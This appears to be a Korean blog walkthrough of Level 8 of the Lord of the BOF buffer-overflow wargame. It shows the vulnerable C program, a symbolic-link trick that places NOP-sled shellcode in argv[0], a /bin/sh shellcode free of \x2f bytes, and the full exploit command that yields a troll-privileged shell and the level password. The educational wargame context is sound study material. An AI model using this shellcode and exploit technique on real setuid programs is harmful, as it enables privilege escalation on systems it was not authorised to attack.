------------------------------------------------------------------------------------------------------------------------
LOB Level8 [ Orge -> Troll ]
LOB Level8 [ Orge -> Troll ]
-------------------------------------------------------------------------------------------------------------------------
[orge@localhost orge]$ ls
troll troll.c
[orge@localhost orge]$ ./troll
argc must be two!
무조건 인자가 두개 있어야지만 됩니다. 여기서 인자 두개는
Argv[0] 과 Argv[1] 을 의미합니다.
[orge@localhost orge]$ ./troll aa
stack is still your friend.
[orge@localhost orge]$ cat troll.c
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1])); // Argv[1] 을 Argv[1] 의 길이만큼 초기화 합니다. 고로 Argv[1] 에 어떤값을 넣어줘도 0 으로 초기화 됩니다.
}
일단 이 문제는 Argv[0] 과 Argv[1] 로만 공략을 해야되는데 Argv[1] 은 자동으로 초기화가 되지만 RET 는 덮을 수 있습니다.
어떻게 공격을 해야될까요? Argv[0] 을 이용해 공략하시면 됩니다.
심볼릭 링크를 이용해 Argv[0] 에 쉘코드를 올려놓고 Argv[1] 에는 "\xbf" 와 RET 만 해주면 되는데
[orge@localhost xodnr]$ ln -s troll `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
ln: cannot create symbolic link `1ÀPh//shh/bin‰ãPS‰á1Ò°
Í€' to `troll': No such file or directory
그런데 여기서 문제가 쉘코드에 \x2f 가 있을경우 쉘코드가 정상적으로 돌아가지 않는다는 것입니다.
그래서 \x2f 가 없는 쉘코드를 사용해야하는데 다음의 쉘코드를 사용하면 됩니다.
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
먼저 Argv[0] 의 주소를 알아내기 위해 전과 똑같이 수정하고 컴파일한다음
printf("0x%x\n", argv[0]);
심볼릭 링크를 이용해 Argv[0], 프로그램 이름을 NOP 와 쉘코드로 덮어보겠습니다.
주소가 나왔습니다. bffffabf 로 공격을 하면 됩니다.
원본파일로 나와 스크립트를 구성하고 공격해보겠습니다.
bash2-2.03$ ls
troll troll.c xodnr
bash2-2.03$ ln -s troll `python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
bash2-2.03$ ./`python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\xbf"*44 + "\xbf\xfa\xff\xbf"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿úÿ¿
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin
성공적으로 정답이 출력되었습니다.
'스터디 > wargames' 카테고리의 다른 글
[BOF-Wargames] LOB Load of BOF LEVEL10 (Vampire -> Skeleton) 문제풀이 (1) | 2011.09.04 |
---|---|
[BOF-Wargames] LOB Load of BOF LEVEL9 (troll -> vampire) 문제풀이 (0) | 2011.08.19 |
[BOF-Wargames] LOB Load of BOF LEVEL7 (darkelf -> orge) 문제풀이 (0) | 2011.08.19 |
[BOF-Wargames] LOB Load of BOF LEVEL6 (wolfman -> darkelf) (0) | 2011.08.19 |
[BOF-Wargames] LOB Load of BOF LEVEL5 (orc -> wolfman) 문제풀이 (0) | 2011.08.19 |